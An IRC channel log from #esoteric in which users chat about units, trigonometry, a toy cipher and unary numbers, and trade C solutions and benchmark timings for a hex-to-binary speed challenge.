< 1477612974 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1477613191 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr QUIT :Read error: Connection timed out < 1477613637 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :https://www.youtube.com/watch?v=_pUL7u-mYqA < 1477613975 0 :Froox!~Frooxius@194.108.5.201 JOIN :#esoteric < 1477614116 0 :Frooxius!~Frooxius@194.108.5.201 QUIT :Ping timeout: 260 seconds < 1477614133 0 :erdic!~erdic@unaffiliated/motley JOIN :#esoteric < 1477614928 0 :erdic!~erdic@unaffiliated/motley QUIT :Ping timeout: 260 seconds < 1477614976 0 :erdic!~erdic@unaffiliated/motley JOIN :#esoteric < 1477615000 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 265 seconds < 1477615114 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1477615264 0 :erdic!~erdic@unaffiliated/motley QUIT :Ping timeout: 260 seconds < 1477616263 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1477616305 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :What's the metric unit K/m^3 called? < 1477616322 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Wait, no, K/kg < 1477616328 0 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 260 seconds < 1477616628 0 :erdic!~erdic@unaffiliated/motley JOIN :#esoteric < 1477616963 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net PRIVMSG #esoteric :You're not thinking of KPa (Kg/m^2) are you? < 1477617008 0 :jeffl35!jeffl@unaffiliated/jeffl35 PART #esoteric :"Leaving" < 1477617123 0 :jeffl35!jeffl@unaffiliated/jeffl35 JOIN :#esoteric < 1477617126 0 :jeffl35!jeffl@unaffiliated/jeffl35 PRIVMSG #esoteric :lel oops < 1477617682 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr JOIN :#esoteric < 1477618419 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :DHeadshot: no hth < 1477618539 0 :heroux!sandroco@gateway/shell/insomnia247/x-emnpzaehxxmlvsmf JOIN :#esoteric < 1477618629 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net PRIVMSG #esoteric :hppavilion[1]: in which case, the unit is literally just kg/m^3 - not anything fancy... < 1477618698 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :DHeadshot: I said K/kg... < 1477618724 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :How is K/kg the same as kg/m^3 < 1477618847 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net PRIVMSG #esoteric :sorry, I read the first line and substituted in the second... < 1477619298 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :copumpkin: https://www.amazon.com/Griffin-BreakSafe-Breakaway-Chromebook-replacement/dp/B01CQTK6GU hth < 1477619317 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Hmm, only up to 60W, though. < 1477620294 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Here's a fun little symmetric transposition cypher < 1477620297 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Not secure, but fun < 1477620305 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :The key is a set C of characters < 1477620365 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :It encrypts and decrypts a message by taking every part of the message between and excluding two characters in C (whether or not they're the same) and reversing their order < 1477620679 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :`? temperature < 1477620685 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :temperature? ¯\(°​_o)/¯ < 1477620738 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :`learn Temperature is measured in terms of reciprocal volume. < 1477620742 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Learned 'temperature': Temperature is measured in terms of reciprocal volume. < 1477620825 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Is it? < 1477621198 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :shachaf: According to DHeadshot, yes < 1477621201 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I think < 1477621260 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Wait, no, it's square mass per volume < 1477621277 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :why would anyone want K/kg? < 1477621325 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :quintopia: ...no reason? < 1477621328 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I... might have < 1477621336 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I wasn't sure I was doing it right < 1477621441 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`revert < 1477621453 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. < 1477621460 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 250 seconds < 1477621469 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i can maybe kind of see a situation in which might arise. like need to know what temperature to make an enclosure to heat a metal to a certain temp in a precise period of time < 1477621502 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :not sure it would scale linearly with volume though < 1477621507 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :probably not < 1477621518 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :shachaf: thachaf < 1477622308 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net QUIT :Ping timeout: 265 seconds < 1477622638 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net JOIN :#esoteric < 1477623013 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr QUIT :Ping timeout: 256 seconds < 1477623243 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :ACTION . o O ( What's the 3D equivalent of compass and straightedge? ) < 1477623355 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Can sine/cosine be applied to solid angle? < 1477623478 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Ultimate pause: < 1477623486 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :……… ……… ……… ……… < 1477623486 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :……… ……… ……… ……… < 1477623486 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :……… ……… ……… ……… < 1477623496 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Wait, crap < 1477623506 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :s/………$//g < 1477623516 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :do you mean < 1477623518 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :🐾🐾🐾🐾 < 1477623522 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :🐾🐾🐾🐾 < 1477623523 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :🐾🐾🐾🐾 < 1477623527 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :hth < 1477623530 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :shachaf: wat? < 1477623543 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :`? 🐾 < 1477623544 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​🐾? ¯\(°​_o)/¯ < 1477623548 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :`unidecode 🐾 < 1477623549 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :U+1F43E PAW PRINTS \ UTF-8: f0 9f 90 be UTF-16BE: d83ddc3e Decimal: 🐾 \ 🐾 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) < 1477623554 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Oooh < 1477623560 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :`unidecode 🐾 < 1477623562 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :U+1F43E PAW PRINTS \ UTF-8: f0 9f 90 be UTF-16BE: d83ddc3e Decimal: 🐾 \ 🐾 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) < 1477623564 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Good < 1477623625 0 :godel!~gonzalo@96-251-231-201.fibertel.com.ar JOIN :#esoteric < 1477623685 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I think that you need 6 (rather than 3) trigonometric functions & their reciprocals for 3D trig (tetranometry?) < 1477623786 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :That is, if you divide area rather than edges for the right tetrahedron definition. < 1477623839 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(Ah, it's called a trirectangular tetrahedron, despite entirely lacking rectangles) < 1477623906 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :in a polyhydron, every time you cut off one vertex, it's replaced by several < 1477624105 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :shachaf: Cut off one vertex, k more for k=the number of edges connecting, assuming only one vertex is removed, will take its place < 1477624112 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Heil Hedron < 1477624135 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :ACTION hopes that math was right < 1477624180 0 :Cale!~cale@2607:fea8:98e0:7e6:4867:c34c:b89b:ea78 JOIN :#esoteric < 1477624526 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Is the smallest shape that can be represented in euclidean n-space without curves or intersections always an (n+1)-hedron? < 1477624547 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :s/hedron/tope/ < 1477624568 0 :alercah!raedford@unaffiliated/alercah PRIVMSG #esoteric :what do you mean by "curve" and what do you mean by "shape" and what do you mean by "smallest" and what do you mean by "(n+1)-tope" < 1477624573 0 :alercah!raedford@unaffiliated/alercah PRIVMSG #esoteric :and what do you mean by "represented"? < 1477626033 0 :augur!~augur@noisebridge130.static.monkeybrains.net QUIT :Ping timeout: 260 seconds < 1477626102 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1477626353 0 :Guest17733!~augur@noisebridge130.static.monkeybrains.net JOIN :#esoteric < 1477626401 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1477627695 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 252 seconds < 1477627755 0 :Alcest!~alcest@69.64.40.177 QUIT :K-Lined < 1477628049 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :stupid optimization challenge #3234: write a program that reads hex input and converts it to binary digits < 1477628113 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ACTION has a fast one < 1477628163 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :reads hex digits (and only hex digits) on stdout, outputting 4 bits per digit? < 1477628168 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :as characters '0' and '1' < 1477628183 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :support for both uppercase and lowercase hex? < 1477628190 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :no, output 4 bytes '0' or '1' per hex digit < 1477628208 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :you can support only lowercase if you want < 1477628209 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :right, that's what I meant but phrased badly < 1477628211 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :or only uppercase < 1477628231 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :hmhm < 1477628248 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :as a C program? < 1477628262 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :use whatever language < 1477628275 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :even brainfuck if you feel like it's gonna be competitive < 1477628281 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Probably not :P < 1477628282 0 :pikhq!~pikhq@174-24-24-163.clsp.qwest.net QUIT :Ping timeout: 244 seconds < 1477628301 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :mostly curious what you used, for ease of comparing "algorithm" so to speak < 1477628309 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i used c < 1477628312 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :ACTION . o O ( sed solution ) < 1477628411 0 :pikhq!~pikhq@174-24-24-163.clsp.qwest.net JOIN :#esoteric < 1477628641 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :can't be arsed to benchmark it or really think too much, but here's something: http://xen.firefly.nu/up/hexdigits.c.html < 1477628659 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :I think it should be correct < 1477628692 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Make sure to not feed a trailing newline, or if you do, ignore the trailing 1010 in the output < 1477628744 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Hm maybe a LUT into a table of hardcoded strings would be faster < 1477628775 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :with the LUT getting cached early on.. but probably not since it's such a trivial computation < 1477628801 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :that's what I was thinking, a direct index from the ascii character index into an array, aligned < 1477628832 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :$ time ./fireflyh2b < /tmp/10m > /dev/null < 1477628834 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :real: 0m3.978s, user: 0m3.677s, sys: 0m0.027s < 1477628837 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :not bad as a first attempt < 1477628849 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :on a modern CPU that would likely be fastest, but it's really hard to say because there's a lot of magic going on in CPUs < 1477628851 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Let's try the LUT-of-all-256-bytes approach < 1477628856 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :actually < 1477628864 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :I guess you can hack that up, izalove < 1477628879 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :or I could, doesn't matter < 1477628880 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :well i don't really need to <.< < 1477628887 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Oh that's your solution? :p < 1477628893 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :no < 1477628896 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :aw < 1477628898 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :mine is _a_little_ faster < 1477628901 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :can you post yours, or is that too boring? < 1477628914 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :I'm going to hack a LUT up < 1477628927 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :try some more <.< < 1477628932 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :hmm < 1477628946 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Well < 1477628949 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :$ time for i in {1..10}; do ./izah2b /dev/null < 1477628952 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :real: 0m6.729s, user: 0m5.053s, sys: 0m1.097s < 1477628967 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :welp < 1477628973 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :mine is terrible :P < 1477629017 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :https://arin.ga/s89Spm/raw here it is, if you want to spoil the fun < 1477629022 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :100m is uniformly distributed, yeah? < 1477629026 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i guess < 1477629029 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :from /dev/urandom < 1477629032 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :right < 1477629068 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Lol < 1477629130 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :does that posix_fadvise make a difference if you benchmark it? < 1477629147 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :(how would default-stdin not be read sequentially...) < 1477629190 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :$ time for i in {1..10}; do ./izah2b /dev/null < 1477629192 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :but that's a neat function to know about though < 1477629193 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :real: 0m6.785s, user: 0m5.023s, sys: 0m1.147s < 1477629205 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :without fadvise ^ < 1477629219 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Hmm < 1477629231 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ok wait < 1477629234 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :I'm sort of terrified why it doesn't just always do that by default < 1477629245 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :no wait it's my fault < 1477629253 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ACTION has a tmpfs @ /tmp < 1477629323 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :and the variance on my disk is too high to benchmark it < 1477629331 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :fair enough < 1477629347 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :I wonder if changing your h2d LUT to ((ch & 0xF) + (ch > 0x40) * 9)*4 affects performance? < 1477629353 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :i.e. my expression *4 < 1477629371 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i'll try < 1477629507 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :$ time ./izah2b < /tmp/100m >/dev/null < 1477629509 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :real: 0m0.890s, user: 0m0.763s, sys: 0m0.093s < 1477629512 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :with your expression < 1477629529 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :with the table it's 0.6xxs < 1477629545 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Hm < 1477629548 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :https://arin.ga/ukqFii/raw < 1477629551 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :Surprised it makes such a difference < 1477629586 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :but good to know < 1477631956 0 :otherbot!~yaybot@unaffiliated/jeffl35/bot/jeffbot QUIT :Remote host closed the connection < 1477631989 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr JOIN :#esoteric < 1477632806 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :http://hooloovoo.blue/files/hoolootwo.c < 1477632832 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :this is a good domain name < 1477632833 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :real 0m0.161s user 0m0.120s sys 0m0.040s < 1477632837 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :I approve of it < 1477632844 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :thanks :) < 1477633042 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :but why would you use printf for \n < 1477633206 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :because this is a hack < 1477633246 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :wat < 1477633263 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :I guess a putchar would have sufficed < 1477633272 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :still don't understand < 1477633288 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :because that's the first thing I thought of, and it shouldn't affect performance < 1477633303 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ok < 1477633307 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ACTION removes it < 1477633586 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :I added a few optimizations, file is in the same place < 1477633633 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :nice, it's faster than before < 1477635391 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1477635537 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :'TIS GREATAR THAN 22 SCORE SCORE AND 10 SCORE!!!!!!! < 1477635580 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr QUIT :Ping timeout: 276 seconds < 1477635609 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :SCORE < 1477635674 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :gah dog slow internet < 1477635694 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :pooch scow < 1477635698 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :How does one represent an arbitrary rational number in unary? < 1477635712 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr JOIN :#esoteric < 1477635717 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(assume your digit is '|') < 1477635725 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: first represent as natural number < 1477635741 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: In a normal, decimal point notation plz < 1477635745 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Place-value? < 1477635751 0 :pecan!pecan@2600:3c03::f03c:91ff:fe55:55e8 PRIVMSG #esoteric :https://en.wikipedia.org/wiki/Quote_notation I guess. < 1477635760 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: wat < 1477635775 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :that makes no sense for unary afaict < 1477635777 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: ||.|||||? < 1477635798 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION hates to type when he cannot see what he writes < 1477635822 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Wat could possibly be causing that? < 1477635825 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: https://mosh.org/ hth < 1477635857 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(Hoo wat wen were wai how) < 1477635880 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: trouble is, there's no abvious thing other than 1 to divide the thing after the point by, which obviously doesn't give you any non-integers < 1477635890 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Yes < 1477635896 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Really fun is real numbers >:) < 1477635897 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: dog slow internet and typing ahead hth < 1477636021 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :shachaf: it's a bad time to load web pages, obviously < 1477636044 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :maybe just divide the one before the decimal point by the one after? < 1477636064 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :Hoolootwo: but then it's not really a decimal point < 1477636074 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :just a funny synonym for / < 1477636077 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :maybe call it a fraction point? < 1477636082 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric ::P < 1477636098 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :cos(θ)+vsn(θ) < 1477636113 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :hppavilion[1]: just stick to unary fractions < 1477636232 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Solve for theta = 30e° < 1477636242 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :s/theta/θ/ < 1477636286 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :what's vsn < 1477636303 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: versine < 1477636322 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION not familiar < 1477636323 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :cvs is coversine (which seems like it should be called vercosine, but eh) < 1477636341 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Diagram hth: https://upload.wikimedia.org/wikipedia/commons/9/9d/Circle-trig6.svg < 1477636389 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :so 1-cos x? < 1477636407 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: yes hth < 1477636414 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: the answer is 1 < 1477636424 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :It's always 1 forall θ < 1477636434 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :you know, in norway we only learn sin, cos and tan of those in high school, and i think that's an excellent policy hth < 1477636450 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: We only learn sin/cos/tan here too < 1477636468 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :And later csc/sec/cot, which are easy < 1477636479 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :OKAY < 1477636488 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(Though the sine <-> cosecant; cosine <-> secant thing is annoying) < 1477636500 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :by the fact they only showed up once i got university math books in english, i assumed it was an american thing < 1477636572 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Most of them are archaic, but still occasionally of use < 1477636626 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :==oerjan < 1477636637 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :are csc and all those other things an american thing < 1477636645 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :. o O ( why won't the trigonometer stop using archaic terms ) < 1477636645 0 